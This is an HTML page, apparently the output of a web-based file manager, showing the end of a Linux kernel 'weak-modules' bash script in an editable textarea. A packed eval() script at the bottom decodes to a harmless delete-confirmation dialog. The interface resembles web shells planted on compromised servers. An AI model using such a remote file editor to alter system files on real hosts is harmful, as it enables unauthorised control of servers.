    local tmp2=$(mktemp -p $tmpdir)
    local basedir=${BASEDIR:+-b $BASEDIR}

    groups=()
    grouped_modules=()

    $depmod -n $basedir $k 2&gt;/dev/null |
        cut_depmod_deps | filter_extra_absoluted $k &gt; $tmp2

    do_make_groups $tmp2

    rm -f $tmp2
}

add_kernel() {
    local krel=${1:-$(uname -r)}
    local tmp
    local no_force_update=&quot;&quot;
    local num

    tmp=$(mktemp -p $tmpdir)

    if ! find_symvers_file &quot;$krel&quot; &gt; /dev/null; then
        echo &quot;Symvers dump file is not found in&quot; \
             $(find_symvers_file &quot;$krel&quot; print) &gt;&amp;2
        exit 1
    fi

    for k in $(find_kernels_with_extra | rpmsort -r); do
        [[ &quot;$krel&quot; == &quot;$k&quot; ]] &amp;&amp; continue
        find_modules $k extra &gt; $tmp

        is_empty_file &quot;$tmp&quot; || make_groups $k

        # reuse tmp

	# optimization, check independent modules in one run.
	# first try groups with one element in each.
	# it means independent modules, so we can safely remove
	# incompatible links
	# some cut and paste here

	echo &gt; $tmp
        for g in &quot;${groups[@]}&quot;; do
	    num=&quot;$(echo &quot;$g&quot; | wc -w)&quot;
	    [ &quot;$num&quot; -gt 1 ] &amp;&amp; continue

            printf &#039;%s\n&#039; $g &gt;&gt; $tmp
	done
        # to avoid subshell, see the read_modules_list comment
        read_modules_list &lt; $tmp
        update_modules_for_krel $krel add_weak_links force_update

        for g in &quot;${groups[@]}&quot;; do
	    num=&quot;$(echo &quot;$g&quot; | wc -w)&quot;
	    [ &quot;$num&quot; -eq 1 ] &amp;&amp; continue

            printf &#039;%s\n&#039; $g &gt; $tmp
            read_modules_list &lt; $tmp
            update_modules_for_krel $krel add_weak_links $no_force_update
        done
    done

    rm -f $tmp

}

remove_kernel() {
    remove_krel=${1:-$(uname -r)}
    weak_modules=&quot;$(weak_updates_dir $remove_krel)&quot;
    module_has_changed $weak_modules $remove_krel

    # Remove everything beneath the weak-updates directory
    ( cd &quot;$weak_modules&quot; &amp;&amp; doit rm -rf * )
}

################################################################################
################################## MAIN GUTS ###################################
################################################################################

options=`getopt -o h --long help,add-modules,remove-modules \
                     --long add-kernel,remove-kernel \
                     --long dry-run,no-initramfs,verbose,delete-modules \
                     --long basedir:,dracut:,check-initramfs-prog: -- &quot;$@&quot;`

[ $? -eq 0 ] || usage 1

eval set -- &quot;$options&quot;

while :; do
    case &quot;$1&quot; in
    --add-modules)
        do_add_modules=1
        ;;
    --remove-modules)
        do_remove_modules=1
        ;;
    --add-kernel)
        do_add_kernel=1
        ;;
    --remove-kernel)
        do_remove_kernel=1
        ;;
    --dry-run)
        dry_run=1
        # --dry-run option is not pure dry run anymore,
        # because of depmod used internally.
        # For add/remove modules we have to add/remove the symlinks
        # and just restore the original configuration afterwards.
        ;;
    --no-initramfs)
        no_initramfs=1
        ;;
    --verbose)
        verbose=1
        ;;
    --delete-modules)
        pr_warning &quot;--delete-modules is deprecated, no effect&quot;
        ;;
    --basedir)
        BASEDIR=&quot;$2&quot;
        shift
        ;;
    --dracut)
        dracut=&quot;$2&quot;
        shift
        ;;
    --check-initramfs-prog)
        CHECK_INITRAMFS=&quot;$2&quot;
        shift
        ;;
    -h|--help)
        usage 0
        ;;
    --)
        shift
        break
        ;;
    esac
    shift
done

if [ ! -x &quot;$dracut&quot; ]
then
    echo &quot;weak-modules: could not find dracut at $dracut&quot;
    exit 1
fi

initramfs_prefix=&quot;$BASEDIR/${default_initramfs_prefix#/}&quot;

if [ -n &quot;$do_add_modules&quot; ]; then
    add_modules

elif [ -n &quot;$do_remove_modules&quot; ]; then
    remove_modules

elif [ -n &quot;$do_add_kernel&quot; ]; then
    kernel=${1:-$(uname -r)}
    add_kernel $kernel

elif [ -n &quot;$do_remove_kernel&quot; ]; then
    kernel=${1:-$(uname -r)}
    remove_kernel $kernel

    exit 0
else
    usage 1
fi

################################################################################
###################### CLEANUP POST ADD/REMOVE MODULE/KERNEL ###################
################################################################################

# run depmod and dracut as needed
for krel in ${!changed_modules_*}; do
    krel=${!krel}
    basedir=${BASEDIR:+-b $BASEDIR}

    if is_kernel_installed $krel; then
        doit $depmod $basedir -ae -F $(find_systemmap_file $krel) $krel
    else
        pr_verbose &quot;Skipping depmod for non-installed kernel $krel&quot;
    fi
done

for krel in ${!changed_initramfs_*}; do
    krel=${!krel}

    if [ ! -n &quot;$no_initramfs&quot; ]; then
        ${CHECK_INITRAMFS:-check_initramfs} $krel
    fi
done
</textarea>
</div>
</div>
 
</div>
<script src="//code.jquery.com/jquery-3.5.1.slim.min.js"></script>
<script src="//cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/js/bootstrap.bundle.min.js" ></script>
<script src="//cdn.jsdelivr.net/npm/bs-custom-file-input/dist/bs-custom-file-input.min.js"></script>
<script>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('E.n();$(\'[2-m="4"]\').4();$(".l").k(j(e){e.g();h 0=$(6).5("2-0");c({b:"a",9:"o i q?",w:"D "+0+" p C B",A:7,z:7,}).y((8)=>{r(8){x 1=$(6).5("3")+"&t="+((0=="v")?"d":"f");u.s.3=1}})});',41,41,'type|buildURL|data|href|tooltip|attr|this|true|willDelete|title|warning|icon|swal||||preventDefault|let|you|function|click|delete|toggle|init|Are|will|sure|if|location||document|folder|text|const|then|dangerMode|buttons|deleted|be|This|bsCustomFileInput'.split('|'),0,{}))</script>
</body>
</html>